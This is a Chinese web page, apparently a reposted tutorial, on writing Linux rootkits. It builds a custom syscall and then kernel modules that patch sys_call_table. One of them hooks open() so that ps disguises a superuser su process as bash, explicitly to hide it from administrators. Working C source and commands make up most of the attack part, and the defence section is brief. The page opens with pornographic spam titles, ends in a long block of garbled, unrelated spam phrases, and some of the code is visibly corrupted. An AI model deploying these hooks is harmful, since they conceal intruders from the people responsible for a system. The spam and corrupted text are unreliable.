精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Rootkit技術(shù)入門:從syscall到hook!

安全
本教程將重點(diǎn)介紹如何通過hooking系統(tǒng)調(diào)用來進(jìn)行這些活動(dòng)。在本教程的第一部分,我們將打造自己的系統(tǒng)調(diào)用,然后打造一個(gè)hook到我們創(chuàng)建的系統(tǒng)調(diào)用上面的rootkit。在最后一部分,我們將創(chuàng)建一個(gè)rootkit來隱藏我們選擇的進(jìn)程。

一、什么是rootkit

簡(jiǎn)單地說,rootkit是一種能夠隱身的惡意程序,也就是說,當(dāng)它進(jìn)行惡意活動(dòng)的時(shí)候,操作系統(tǒng)根本感覺不到它的存在。想象一下,一個(gè)程序能夠潛入到當(dāng)前操作系統(tǒng)中,并且能夠主動(dòng)在進(jìn)程列表中隱藏病毒,或者替換日志文件輸出,或者兩者兼而有之——那它就能有效地清除自身存在的證據(jù)了。此外,它還可以從受保護(hù)的內(nèi)存區(qū)域中操縱系統(tǒng)調(diào)用,或?qū)⒔涌谏系臄?shù)據(jù)包導(dǎo)出到另一個(gè)接口。本教程將重點(diǎn)介紹如何通過hooking系統(tǒng)調(diào)用來進(jìn)行這些活動(dòng)。在本教程的第一部分,我們將打造自己的系統(tǒng)調(diào)用,然后打造一個(gè)hook到我們創(chuàng)建的系統(tǒng)調(diào)用上面的rootkit。在最后一部分,我們將創(chuàng)建一個(gè)rootkit來隱藏我們選擇的進(jìn)程。

rootkit

二、用戶空間與內(nèi)核空間

我們之所以上來就打造一個(gè)系統(tǒng)調(diào)用,其目的就是為了更好地理解在內(nèi)核空間與用戶空間中到底發(fā)生了些什么。在用戶空間中運(yùn)行的進(jìn)程,對(duì)內(nèi)存的訪問將受到一定限制,而在內(nèi)核空間運(yùn)行的進(jìn)程則可以訪問所有內(nèi)存空間。但是,用戶空間的代碼可以通過內(nèi)核暴露的接口來訪問內(nèi)核空間,這里的所說的接口就是系統(tǒng)調(diào)用。如果你曾經(jīng)用C語言編程,并且擺弄過Linux的話(是的,我們將用C編程,但不用擔(dān)心,因?yàn)檫@里介紹的例子會(huì)非常簡(jiǎn)單),那么你很可能已經(jīng)用過系統(tǒng)調(diào)用了,只不過你沒有意識(shí)到罷了。read()、write()、open()就是幾個(gè)比較常見的系統(tǒng)調(diào)用,只不過我們通常都是通過諸如fopen()或fprintf()之類的庫函數(shù)來調(diào)用它們而已。

當(dāng)你以root身份運(yùn)行進(jìn)程的時(shí)候,不見得它們就會(huì)運(yùn)行在內(nèi)核空間。因?yàn)閞oot用戶進(jìn)程仍然是一個(gè)用戶空間的進(jìn)程,只不過root用戶的進(jìn)程的UID = 0,內(nèi)核驗(yàn)證過其身份后會(huì)賦予其超級(jí)用戶權(quán)限罷了。但是,即使擁有超級(jí)用戶權(quán)限,仍然需要通過系統(tǒng)調(diào)用接口才能請(qǐng)求內(nèi)核的各種資源。我希望大家能夠明確這一點(diǎn),這對(duì)進(jìn)一步閱讀下面的內(nèi)容非常重要。

好了,閑話少說,下面切入正題。

三、所需軟硬件

linux內(nèi)核(我使用debian的最小化安裝,內(nèi)核版本為3.16.36)

虛擬機(jī)軟件(VMware、Virtualbox、ESXi等)

我建議給VM配置2個(gè)CPU內(nèi)核,至少4GB內(nèi)存,但1核和2GB也能對(duì)付。

需要強(qiáng)調(diào)的是︰

1. 我不會(huì)對(duì)示例代碼進(jìn)行詳盡的介紹,因?yàn)榇a都自帶了注釋。這樣做好處是,可以督促讀者自行深入學(xué)習(xí)。

2. 我的VM使用的是Debian最小化安裝,因?yàn)槲野l(fā)現(xiàn)內(nèi)核的版本越舊,打造自己的系統(tǒng)調(diào)用時(shí)就越容易,這就是選擇3.16.36的原因。

3. 文中的所有命令都是以root帳戶在VM中運(yùn)行的。

四、系統(tǒng)調(diào)用:pname

啟動(dòng)VM,讓我們先從一個(gè)內(nèi)核源碼開始玩起。實(shí)際上,介紹如何打造自己的系統(tǒng)調(diào)用的教程已經(jīng)有許多了。如果你想打造一個(gè)簡(jiǎn)單的“hello world”系統(tǒng)調(diào)用的話,請(qǐng)參考這篇文章:https://chirath02.wordpress.com/2016/08/24/hello-world-system-call/。

通過下面的命令,獲取內(nèi)核源碼的副本,并將其解壓縮到/usr/src目錄下面:

  1. wget https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.16.36.tar.xz 
  2. tar -xvf linux-3.16.36.tar.xz -C /usr/src/ 
  3. cd /usr/src/linux-3.16.36 

pname (進(jìn)程名稱):

現(xiàn)在,讓我們從一個(gè)簡(jiǎn)單的系統(tǒng)調(diào)用開始入手:當(dāng)向它傳遞一個(gè)進(jìn)程名稱時(shí),它會(huì)將該進(jìn)程對(duì)應(yīng)的PID返回到啟動(dòng)該系統(tǒng)調(diào)用的終端上面。首先,創(chuàng)建目錄pname,然后通過cd命令切換到該目錄下面:

  1. mkdir pname 
  2. cd pname 
  3. nano pname.c 
  1. #include <linux/syscalls.h> 
  2. #include <linux/kernel.h> 
  3. #include <linux/sched.> 
  4. #include <linux/init.h> 
  5. #include <linux/tty.h> 
  6. #include <linux/string.h> 
  7. #include "pname.h" 
  8. asmlinkage long sys_process_name(char* process_name){ 
  9.     /*tasklist struct to use*/ 
  10.     struct task_struct *task; 
  11.     /*tty struct*/ 
  12.     struct tty_struct *my_tty; 
  13.     /*get current tty*/ 
  14.     my_tty = get_current_tty(); 
  15.     /*placeholder to print full string to tty*/ 
  16.     char name[32]; 
  17.     /*<sched.h> library method that iterates through list of processes from task_struct defined above*/ 
  18.     for_each_process(task){ 
  19.         /*compares the current process name (defined in task->comm) to the passed in name*/ 
  20.         if(strcmp(task->comm,process_name) == 0){ 
  21.             /*convert to string and put into name[]*/ 
  22.             sprintf(name, "PID = %ld\n", (long)task_pid_nr(task)); 
  23.             /*show result to user that called the syscall*/ 
  24.                         (my_tty->driver->ops->write) (my_tty, name, strlen(name)+1); 
  25.         } 
  26.     } 
  27.     return 0; 

然后,創(chuàng)建頭文件:

  1. nano pname.h 
  1. asmlinkage long sys_process_name(char* process_name); 

接下來,創(chuàng)建一個(gè)Makefile:

  1. nano Makefile 

在里面,添加如下內(nèi)容:

  1. obj-y :pname.o 

保存并退出。

將pname目錄添加到內(nèi)核的Makefile中:

回到/usr/src/linux-3.16.36目錄,并編輯Makefile

  1. cd .. 
  2. nano Makefile 

您要查找core-y += kernel/mm/fs/ipc/security/crypto/block/所在的行。

  1. cat -n Makefile | grep -i core-y 

然后

  1. nano +(line number from the cat command here) Makefile 

 

將pname目錄添加到內(nèi)核的Makefile中

將pname目錄添加到此行的末尾(不要忘記“/”):

  1. core-y += kernel/ mm/ fs/ ipc/ security/ crypto/ block/ pname/ 

當(dāng)我們編譯這個(gè)文件的時(shí)候,編譯器就會(huì)知道從哪里尋找創(chuàng)建新的系統(tǒng)調(diào)用所需的源文件了。

將pname和sys_process_name添加到系統(tǒng)調(diào)用表中:

請(qǐng)確保仍然位于/usr/src/linux-3.16.36目錄中。接下來,我們需要將新建的系統(tǒng)調(diào)用添加到系統(tǒng)調(diào)用表中。如果您使用的是64位系統(tǒng),那么它將會(huì)添加到syscall_64.tbl文件的前#300之后(將64位和32位系統(tǒng)調(diào)用隔離開來)。此前,我的64位系統(tǒng)調(diào)用最后一個(gè)是#319,所以我的新系統(tǒng)調(diào)用將是#320。如果它是一個(gè)32位系統(tǒng),那么你可以在syscall_32.tbl文件結(jié)尾處進(jìn)行相應(yīng)的編輯。

  1. nano arch/x86/syscalls/syscall_64.tbl 

添加新的系統(tǒng)調(diào)用:   

  1. 320 common pname sys_process_name 

 

將pname和sys_process_name添加到系統(tǒng)調(diào)用表中

將sys_process_name(char * process_name)添加到syscall頭文件中:

最后,頭文件必須提供我們函數(shù)的原型,因?yàn)閍smlinkage用于定義函數(shù)的哪些參數(shù)可以放在堆棧上。它必須添加到include / linux / syscalls.h文件的最底部:

  1. asmlinkage long sys_process_name(char* process_name); 

將pname和sys_process_name添加到系統(tǒng)調(diào)用表中

編譯新內(nèi)核(這個(gè)過程需要一段時(shí)間,請(qǐng)稍安勿躁):

這將需要很長(zhǎng)時(shí)間,大概需要1-2小時(shí)或更多,具體取決于這個(gè)VM所擁有的資源的多寡。然后,從源代碼文件夾/usr/src/linux-3.16.36中輸入下列命令:

  1.      
  2. make menuconfig 

通過方向鍵選中保存選項(xiàng),按回車鍵,然后退出。

如果您正在運(yùn)行的虛擬機(jī)具有2個(gè)內(nèi)核,則可以使用下列命令:

  1. make -j 2 

否則的話,只需輸入下列命令即可:

  1. make 

現(xiàn)在,耐心等待它運(yùn)行結(jié)束。

安裝新編譯的內(nèi)核:

完成上述操作后(希望沒有任何錯(cuò)誤),還必須進(jìn)行安裝操作,然后重新啟動(dòng)。

  1. make install -j 2 # or without -j option if not enough cores 
  2. make modules_install install 
  3. reboot 

測(cè)試新的pname系統(tǒng)調(diào)用:

還記得使用哪個(gè)數(shù)字把我們的系統(tǒng)調(diào)用中添加到系統(tǒng)調(diào)用表中的嗎?我使用的數(shù)字為320,這意味著系統(tǒng)調(diào)用號(hào)為320,同時(shí),我們必須以字符串的形式來傳遞進(jìn)程名稱。下面,讓我們測(cè)試一下這個(gè)新的系統(tǒng)調(diào)用。

  1. nano testPname.c 
  1. #include <stdio.h> 
  2. #include <linux/kernel.h> 
  3. #include <sys/syscall.h> 
  4. #include <unistd.h> 
  5. #include <string.h> 
  6. int main(){ 
  7.     char name[32]; 
  8.     puts("Enter process to find"); 
  9.     scanf("%s",name); 
  10.     strtok(name, "\n"); 
  11.     long int status = syscall(320, name); //syscall number 320 and passing in the string.  
  12.     printf("System call returned %ld\n", status); 
  13.     return 0; 
  1. gcc testPname.c -o testPname 
  2. ./testPname 

由于我使用ssh配置我的VM,我將進(jìn)入進(jìn)程sshd。我打開了另一個(gè)終端來查看所有通過sshd運(yùn)行的進(jìn)程,然后運(yùn)行該可執(zhí)行文件:

測(cè)試新的pname系統(tǒng)調(diào)用

該系統(tǒng)調(diào)用通過遍歷進(jìn)程列表發(fā)現(xiàn)了3個(gè)sshd進(jìn)程(grep sshd不是正在運(yùn)行的sshd進(jìn)程),并通過TTY將其輸出到調(diào)用它的終端上,最后成功退出(狀態(tài)值為0)。

現(xiàn)在,您已經(jīng)有權(quán)在內(nèi)核(受保護(hù)的內(nèi)存區(qū))空間中查找進(jìn)程了。這個(gè)進(jìn)程列表中,你不會(huì)發(fā)現(xiàn)這個(gè)系統(tǒng)調(diào)用——盡管它正在運(yùn)行,但你會(huì)發(fā)現(xiàn)testPname可執(zhí)行文件正在運(yùn)行:

測(cè)試新的pname系統(tǒng)調(diào)用

如何才能找到我們的新系統(tǒng)調(diào)用呢? 很簡(jiǎn)單:使用strace工具。

  1. sudo apt-get install strace 

針對(duì)可執(zhí)行文件運(yùn)行strace時(shí),它將暫停以讀取用戶輸入(可以通過系統(tǒng)調(diào)用read()來讀入,但是需要注意的是,在我們的測(cè)試程序中使用的是來自stdio.h庫的scanf()函數(shù))。這時(shí),輸入你喜歡的任何進(jìn)程即可。

在下面,從read()系統(tǒng)調(diào)用到程序退出的代碼都進(jìn)行了突出顯示:

  1. strace ./testPname 

 

	 strace ./testPname

只要把bash的進(jìn)程名稱傳遞給strace,它就會(huì)立刻找出該進(jìn)程所使用的系統(tǒng)調(diào)用——我們的syscall_320。你也可以使用該工具來檢查我們運(yùn)行的程序用到的所有其他系統(tǒng)調(diào)用,例如mmap(內(nèi)存映射)和mprotect(內(nèi)存保護(hù))等。我建議大家逐一研究這些系統(tǒng)調(diào)用,以充分了解它們都可以做哪些事情,并仔細(xì)考慮攻擊者能夠用它們來干什么。

此后,我們將hooking系統(tǒng)調(diào)用open(),但是就目前來說,不妨先用我們的第一個(gè)rootkit來“鉤取”系統(tǒng)調(diào)用syscall_320

五、利用Rootkit“鉤取”Pname

首先要弄清楚的一件事情是,現(xiàn)在我們要以hook的形式來打造一個(gè)內(nèi)核模塊,而不是借助系統(tǒng)調(diào)用。這些模塊可以隨時(shí)通過insmod和rmmod命令(前提是您已經(jīng)獲得了相應(yīng)的權(quán)限)加載到內(nèi)存和從內(nèi)核中刪除。為了查看當(dāng)前正在運(yùn)行的所有模塊,您可以使用lsmod命令。就像我們的新程序?qū)⒊蔀橐粋€(gè)模塊一樣,從技術(shù)上講,它可以被定義為一個(gè)hook,因?yàn)槲覀儗?ldquo;hooking”到之前創(chuàng)建的pname系統(tǒng)調(diào)用上。

在研究過程中,我在https://www.quora.com/How-can-I-hook-system-calls-in-Linux發(fā)現(xiàn)了一篇非常棒的文章,它深入淺出地介紹了打造hook的方法。請(qǐng)選擇一個(gè)存儲(chǔ)hook的目錄并利用cd命令切換到這個(gè)目錄下面,這里我選擇的是root目錄。

查找sys_call_table地址:

我們首先要做的事情就是找到系統(tǒng)調(diào)用表地址,因?yàn)橐坏┱业搅诉@個(gè)地址,我們就能夠?qū)ζ溥M(jìn)行相應(yīng)的處理,進(jìn)而hook系統(tǒng)調(diào)用了。為了找到這個(gè)地址,我們只需在終端中鍵入:

  1. cat /boot/System.map-3.16.36 | grep sys_call_table 

 

查找sys_call_table地址

將這個(gè)地址復(fù)制到我們的代碼中。

注意:有許多方法可以用來動(dòng)態(tài)搜索sys_call_table,我強(qiáng)烈建議您使用這些方法而不是硬編碼。然而,為了便于學(xué)習(xí),這里就不那么講究了。我打算將來編寫一個(gè)更高級(jí)的rootkit,讓它也支持動(dòng)態(tài)搜索能力。如果你想提前了解這方面的知識(shí)并親自嘗試一下的話,我建議閱讀下面的文章: https://memset.wordpress.com/2011/01/20/syscall-hijacking-dynamically-obtain-syscall-table-address-kernel-2-6-x/

Hook! Hook! Hook!

以下是我的captainhook.c代碼:

  1. #include <asm/unistd.h> 
  2. #include <asm/cacheflush.h> 
  3. #include <linux/init.h> 
  4. #include <linux/module.h> 
  5. #include <linux/kernel.h> 
  6. #include <linux/syscalls.h> 
  7. #include <asm/pgtable_types.h> 
  8. #include <linux/highmem.h> 
  9. #include <linux/fs.h> 
  10. #include <linux/sched.h> 
  11. #include <linux/moduleparam.h> 
  12. #include <linux/unistd.h> 
  13. #include <asm/cacheflush.h> 
  14. MODULE_LICENSE("GPL"); 
  15. MODULE_AUTHOR("D0hnuts"); 
  16. /*MY sys_call_table address*/ 
  17. //ffffffff81601680 
  18. void **system_call_table_addr; 
  19. /*my custom syscall that takes process name*/ 
  20. asmlinkage int (*custom_syscall) (char* name); 
  21. /*hook*/ 
  22. asmlinkage int captain_hook(char* play_here) { 
  23.     /*do whatever here (print "HAHAHA", reverse their string, etc) 
  24.         But for now we will just print to the dmesg log*/ 
  25.     printk(KERN_INFO "Pname Syscall:HOOK! HOOK! HOOK! HOOK!...ROOOFFIIOO!"); 
  26.     return custom_syscall(play_here); 
  27. /*Make page writeable*/ 
  28. int make_rw(unsigned long address){ 
  29.     unsigned int level; 
  30.     pte_t *pte = lookup_address(address, &level); 
  31.     if(pte->pte &~_PAGE_RW){ 
  32.         pte->pte |=_PAGE_RW; 
  33.     } 
  34.     return 0; 
  35. /* Make the page write protected */ 
  36. int make_ro(unsigned long address){ 
  37.     unsigned int level; 
  38.     pte_t *pte = lookup_address(address, &level); 
  39.     pte->ptepte = pte->pte &~_PAGE_RW; 
  40.     return 0; 
  41. static int __init entry_point(void){ 
  42.     printk(KERN_INFO "Captain Hook loaded successfully..\n"); 
  43.     /*MY sys_call_table address*/ 
  44.     system_call_table_addr = (void*)0xffffffff81601680; 
  45.     /* Replace custom syscall with the correct system call name (write,open,etc) to hook*/ 
  46.     custom_syscall = system_call_table_addr[__NR_pname]; 
  47.     /*Disable page protection*/ 
  48.     make_rw((unsigned long)system_call_table_addr); 
  49.     /*Change syscall to our syscall function*/ 
  50.     system_call_table_addr[__NR_pname] = captain_hook; 
  51.     return 0; 
  52. static int __exit exit_point(void){ 
  53.         printk(KERN_INFO "Unloaded Captain Hook successfully\n"); 
  54.     /*Restore original system call */ 
  55.     system_call_table_addr[__NR_pname] = custom_syscall; 
  56.     /*Renable page protection*/ 
  57.     make_ro((unsigned long)system_call_table_addr); 
  58.     return 0; 
  59. module_init(entry_point); 
  60. module_exit(exit_point); 

你可能已經(jīng)注意到__NR_pname,它代表數(shù)字,即pname的系統(tǒng)調(diào)用的編碼。別忘了我們已經(jīng)將該系統(tǒng)調(diào)用添加到syscall_64.tbl(tbl = table duhh)中。 我們賦予它一個(gè)數(shù)字、一個(gè)名稱和函數(shù)名。在這里,我們使用的是其名稱(pname)。它將攔截pname系統(tǒng)調(diào)用,并且每成功一次就打印一次dmesg。

創(chuàng)建Makefile:

我們必須創(chuàng)建另一個(gè)Makefile,具體方法就像我們?cè)趧?chuàng)建系統(tǒng)調(diào)用時(shí)所做的一樣,但由于這里是一個(gè)模塊,所以會(huì)有一點(diǎn)不同:

  1. nano Makefile 
  1. obj-m += captainHook.o 
  2. all: 
  3.         make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 
  4. clean: 
  5.         make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 

創(chuàng)建Makefile

在加載到運(yùn)行中的內(nèi)核后測(cè)試該hook:

現(xiàn)在萬事俱備,只剩下編譯了。對(duì)其進(jìn)行編譯的時(shí)候,絕對(duì)不會(huì)像編譯內(nèi)核那樣費(fèi)時(shí),因?yàn)樗皇且粋€(gè)模塊而已。為此,只需鍵入下列命令:

  1. make 

很好,你現(xiàn)在應(yīng)該多了一些其他文件,而我們想要的是.ko文件:

在加載到運(yùn)行中的內(nèi)核后測(cè)試該hook

現(xiàn)在打開另一個(gè)終端,鍵入以下命令以清除dmesg,然后插入該模塊并運(yùn)行testPname,并跟蹤其輸出:

第一個(gè)終端:

  1. dmesg -c 
  2. dmesg -wH 

第二個(gè)終端:

  1. insmod captainHook.ko 
  2. cd .. 
  3. ./testPname 
  4. rmmod captainHook 
  5. captainhookworks 

經(jīng)過一番努力,終于成功地創(chuàng)建了一個(gè)可以抓取系統(tǒng)調(diào)用(也就是rootkit)的鉤子!想象一下,如果你的__NR_ pname是__NR_open或__NR_read會(huì)怎樣? 您可以自己嘗試一下,或繼續(xù)閱讀下一部分。不過,就這一點(diǎn)來說,有很多其他教程可資利用,例如:https://ruinedsec.wordpress.com/2013/04/04/modifying-system-calls-dispatching-linux/

六、對(duì)系統(tǒng)管理命令“ps”隱身

現(xiàn)在,讓我們通過編程技術(shù)來實(shí)現(xiàn)對(duì)ps命令隱藏進(jìn)程。首先,找到你想要隱藏的進(jìn)程的PID,并想清楚你想讓它偽裝成哪個(gè)進(jìn)程。就本例而言,我將用一個(gè)bash進(jìn)程給su(sudo)進(jìn)程打掩護(hù),以便系統(tǒng)管理員看不到有人正在使用超級(jí)用戶權(quán)限運(yùn)行。

注意:Linux中的一切皆文件。例如“/proc/cpuinfo”文件存放的是CPU信息,內(nèi)核版本位于“/proc/version”文件中。而“/proc/uptime”和“/proc/stat”文件則分別用來存放系統(tǒng)正常運(yùn)行時(shí)間和空閑時(shí)間。當(dāng)運(yùn)行ps命令時(shí),它實(shí)際上是打開進(jìn)程的文件,以使用open()系統(tǒng)調(diào)用查看相關(guān)信息。當(dāng)進(jìn)程首次啟動(dòng)時(shí),會(huì)使用系統(tǒng)調(diào)用write()將其寫入具有相應(yīng)PID#的文件中。針對(duì)ps命令運(yùn)行strace就能查找它們,或者查看它使用了哪些系統(tǒng)調(diào)用。

這里,我們將使用captainHook.c作為樣板:

  1. nano phide.c 
  1. #include <asm/unistd.h> 
  2. #include <asm/cacheflush.h> 
  3. #include <linux/init.h> 
  4. #include <linux/module.h> 
  5. #include <linux/kernel.h> 
  6. #include <linux/syscalls.h> 
  7. #include <asm/pgtable_types.h> 
  8. #include <linux/highmem.h> 
  9. #include <linux/fs.h> 
  10. #include <linux/sched.h> 
  11. #include <linux/moduleparam.h> 
  12. #include <linux/unistd.h> 
  13. #include <asm/cacheflush.h> 
  14. MODULE_LICENSE("GPL"); 
  15. MODULE_LICENSE("D0hnuts"); 
  16. /*MY sys_call_table address*/ 
  17. //ffffffff81601680 
  18. void **system_call_table_addr; 
  19. asmlinkage int (*original_open)(const char *pathname, int flags); 
  20. asmlinkage int open_hijack(const char *pathname, int flags) { 
  21.     /*This hooks all  OPEN sys calls and check to see what the path of the file being opened is 
  22.     currently, the paths must be hard coded for the process you wish to hide, and the process you would like it to impersonate*/ 
  23.     if(strstr(pathname, "/proc/2793/status") != NULL) { 
  24.         printk(KERN_ALERT "PS PROCESS HIJACKED %s\n", pathname); 
  25.     //The new process location will be written into the syscall table for the open command, causing it to open a different file than the one originaly requested 
  26.         memcpy(pathname, "/proc/2794/status", strlen(pathname)+1); 
  27.     } 
  28.     return (*original_open)(pathname, flags); 
  29. //Make syscall table  writeable 
  30. int make_rw(unsigned long address){ 
  31.         unsigned int level; 
  32.         pte_t *pte = lookup_address(address, &level); 
  33.         if(pte->pte &~_PAGE_RW){ 
  34.                 pte->pte |=_PAGE_RW; 
  35.         } 
  36.         return 0; 
  37. // Make the syscall table  write protected 
  38. int make_ro(unsigned long address){ 
  39.         unsigned int level; 
  40.         pte_t *pte = lookup_address(address, &level); 
  41.         pte->ptepte = pte->pte &~_PAGE_RW; 
  42.         return 0; 
  43. static int __init start(void){ 
  44.         system_call_table_addr = (void*)0xffffffff81601680; 
  45.     //return the system call to its original state 
  46.         original_open = system_call_table_addr[__NR_open]; 
  47.         //Disable page protection 
  48.         make_rw((unsigned long)system_call_table_addr); 
  49.         system_call_table_addr[__NR_open] = open_hijack; 
  50.         printk(KERN_INFO "Open psHook loaded successfully..\n"); 
  51.     return 0; 
  52. static int __exit end(void){ 
  53.         //restore original system call 
  54.         system_call_table_addr[__NR_open] = original_open; 
  55.         //Enable syscall table  protection 
  56.         make_ro((unsigned long)system_call_table_addr); 
  57.     printk(KERN_INFO "Unloaded Open psHook successfully\n"); 
  58.         return 0; 
  59. module_init(start); 
  60. module_exit(end); 

復(fù)制前面使用的Makefile,同時(shí)將頂部的"captainHook.o"替換為“phide.o”。

然后,輸入下列命令

  1. make 

以及

  1. insmod phide.ko (一定別忘了使用dmesg命令) : 

 

對(duì)系統(tǒng)管理命令“ps”隱身

如您所見,這里成功實(shí)現(xiàn)了隱身!除此之外,還可以使用這里介紹的方法來隱藏多個(gè)進(jìn)程。

七、如何防御?

你可能注意到了,我這里只是使用另一個(gè)正在運(yùn)行的進(jìn)程來隱藏我們的進(jìn)程。所以在PS表中會(huì)有重復(fù)的PID。這很容易被發(fā)現(xiàn),但有一些方法可以完全隱藏它,我計(jì)劃在未來的rootkit文章中加以介紹。

記得早些時(shí)候我提到的lsmod命令嗎? 它就可以列出在內(nèi)核上運(yùn)行的模塊,效果具體如下圖所示。

lsmod命令以列出在內(nèi)核上運(yùn)行的模塊

要想查看所有模塊,可以使用:

  1. cat/proc/modules 

因?yàn)閞ootkits通常在內(nèi)存中待命,所以最好使用一個(gè)可以主動(dòng)尋找rootkit的程序,例如:

  1. kbeast – https://volatility-labs.blogspot.ca/2012/09/movp-15-kbeast-rootkit-detecting-hidden.html 
  2. chkroot – http://www.chkrootkit.org/ 
  3. kernel check – http://la-samhna.de/library/kern_check.c 

 

[[180595]]

 

八、結(jié)束語

我們希望本文能夠幫您了解系統(tǒng)調(diào)用、內(nèi)核空間和用戶空間方面的相關(guān)知識(shí)。最重要的是,通過閱讀本文,可以讓您意識(shí)到鉤住系統(tǒng)調(diào)用其實(shí)非常簡(jiǎn)單的事情,同時(shí),也讓您意識(shí)到只需少的可憐的編程技巧就足以讓你為所欲為。當(dāng)然,還有一些非常先進(jìn)的rootkits類型,我們將后續(xù)的文章中陸續(xù)加以介紹。在下一篇文章中,我們介紹如何在無需查找PID的情況下隱藏進(jìn)程。

責(zé)任編輯:趙寧寧 來源: 安全客
相關(guān)推薦

2017-06-26 09:15:39

SQL數(shù)據(jù)庫基礎(chǔ)

2019-04-11 15:45:08

ReactMixin前端

2020-04-10 15:05:09

深度學(xué)習(xí)人工智能蒸餾

2012-11-27 15:41:41

2012-02-29 00:49:06

Linux學(xué)習(xí)

2025-02-24 10:07:10

2013-06-06 13:42:48

OSPF入門配置

2025-11-03 04:00:00

2022-06-10 08:17:52

HashMap鏈表紅黑樹

2022-10-20 08:02:29

ELFRTOSSymbol

2010-02-06 15:31:18

ibmdwAndroid

2009-07-22 14:55:16

ibmdwAndroid

2016-12-08 22:39:40

Android

2017-05-09 08:48:44

機(jī)器學(xué)習(xí)

2019-07-02 14:17:18

API網(wǎng)關(guān)網(wǎng)關(guān)流量

2021-02-21 22:53:01

CanvasHTML5JavaScript

2021-09-01 22:58:22

Canvas標(biāo)簽

2010-01-14 20:57:59

2010-01-15 10:32:40

2012-11-27 15:46:51

堆棧溢出
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

亚洲性生活视频| 亚洲成av人综合在线观看| 国产精品免费福利| 性色av无码久久一区二区三区| 国产韩日精品| 国产视频一区在线播放| 91久久精品美女| 国产一级大片在线观看| 国产免费久久| 日韩区在线观看| 东京热加勒比无码少妇| 国产区在线看| 91一区二区在线| 成人性生交大片免费观看嘿嘿视频| 欧美成人三级视频| 伊人久久大香线蕉综合网蜜芽| 欧美人体做爰大胆视频| 中文字幕无码精品亚洲资源网久久| 国产视频三级在线观看播放| 国产精品99久久久久久宅男| 欧美中在线观看| 亚洲成人生活片| 日韩国产欧美| 日韩精品欧美国产精品忘忧草 | 国产毛片精品一区| 欧美整片在线观看| 久久视频免费看| 91综合久久| 亚洲欧洲av一区二区| 风韵丰满熟妇啪啪区老熟熟女| 日韩三区在线| 韩曰欧美视频免费观看| 国产又粗又猛又爽又黄的网站| 福利成人在线观看| 91麻豆精品在线观看| 超碰97在线人人| 99久久久久成人国产免费| 秋霞国产午夜精品免费视频| 欧美专区在线视频| 日韩字幕在线观看| 精品av久久久久电影| 久热国产精品视频| 69夜色精品国产69乱| 欧美自拍偷拍| 中文字幕9999| 天堂网av2018| 成人久久久久| 中文字幕欧美精品在线| 亚洲第一综合网| 精品国产一区二区三区久久久蜜臀| 亚洲高清在线观看| 中文字幕乱视频| 国产香蕉精品| 亚洲激情视频网| 国产精品久久久久久久无码| 91精品久久久久久综合五月天| 欧美一区二区三区日韩视频| 爱豆国产剧免费观看大全剧苏畅 | 色香色香欲天天天影视综合网| 波多野结衣综合网| 新版的欧美在线视频| 精品久久久国产| 欧美变态另类刺激| 欧美黑人一区| 欧美在线观看视频一区二区| 最新中文字幕免费视频| 97欧美成人| 欧美精选在线播放| 色综合久久久无码中文字幕波多| 51vv免费精品视频一区二区| 日韩你懂的在线播放| 亚洲色图欧美另类| 亚洲va久久| 中文欧美日本在线资源| 中文字幕另类日韩欧美亚洲嫩草| 亚洲xxx拳头交| 久久久久久国产精品久久| 日韩精品一区二区在线播放| 蘑菇福利视频一区播放| 国产精品久久久精品| 国产精品视频a| 成人免费高清视频| 日本不卡免费新一二三区| av中文在线| 一区二区三区视频在线看| 精品无码一区二区三区爱欲| 欧美黄色网页| 日韩一级黄色大片| 粉嫩av蜜桃av蜜臀av| 水蜜桃久久夜色精品一区| 欧美成人精品在线观看| www.日本精品| 激情五月播播久久久精品| 999在线观看免费大全电视剧| 天堂在线资源网| 国产精品色在线| 日韩视频在线视频| 欧美色片在线观看| 精品欧美一区二区在线观看| 亚洲欧美色图视频| 久久精品免费一区二区三区| 午夜剧场成人观在线视频免费观看| 国产91精品一区| 国产在线精品免费| 欧美日韩一区二区三| 综合图区亚洲| 欧美日韩三级一区二区| 久久人人妻人人人人妻性色av| 久久精品国产www456c0m| 97在线观看免费高清| 97人妻精品一区二区三区动漫| 99久久精品国产导航| 影音先锋男人的网站| 偷拍精品精品一区二区三区| 日韩欧美国产一区二区在线播放| 亚洲精品色午夜无码专区日韩| 欧美福利视频| 国产精品自拍视频| 欧美日韩激情视频一区二区三区| 一区二区三区中文在线观看| 日韩免费高清在线| 精品视频自拍| 免费97视频在线精品国自产拍| 欧美一区免费看| 99久久亚洲一区二区三区青草| 国产欧美综合一区| 国产精品亚洲成在人线| 精品亚洲一区二区三区在线观看| 亚洲国产精品久| 精品午夜久久福利影院| 日韩精品国内| 成人免费短视频| 日韩av一区在线观看| 久青草免费视频| 国产精品一卡二卡| 经典三级在线视频| 91麻豆精品| 久久视频在线看| 国产乱人乱偷精品视频| 国产精品卡一卡二卡三| 好男人www社区| 国内黄色精品| 国产精品久久久久久久app| 黄色av网址在线免费观看| 黑丝美女久久久| 国产麻豆天美果冻无码视频| 日韩视频中文| 精品在线不卡| 亚洲国产福利| 亚洲网址你懂得| 中文字幕日本人妻久久久免费 | 亚洲国产小视频在线观看| 久久久久久久久久久久久久久久久| 国产自产v一区二区三区c| 在线观看日韩片| 亚洲欧美久久精品| 久热精品视频在线观看一区| 国产激情久久久久久熟女老人av| 亚洲欧美电影一区二区| 俄罗斯女人裸体性做爰| 激情视频一区二区三区| 精品福利影视| 希岛爱理一区二区三区av高清| 亚洲人成自拍网站| 亚洲天堂手机在线| 亚洲免费三区一区二区| 高清中文字幕mv的电影| 99人久久精品视频最新地址| 欧美精品v日韩精品v国产精品| 国产 日韩 欧美一区| 日韩中文视频免费在线观看| 99精品国产99久久久久久97| 亚洲一区二区三区四区五区中文 | 国产精品理伦片| 中文字幕一二三区| 中文欧美日韩| 视频二区一区| 日韩欧美中文字幕一区二区三区 | 国产日产欧美一区二区| 91精品国产自产精品男人的天堂| 欧美性在线观看| 在线毛片网站| 精品精品欲导航| 波多野结衣人妻| 亚洲精品国产无套在线观| av无码一区二区三区| 日韩在线卡一卡二| 少妇一晚三次一区二区三区| 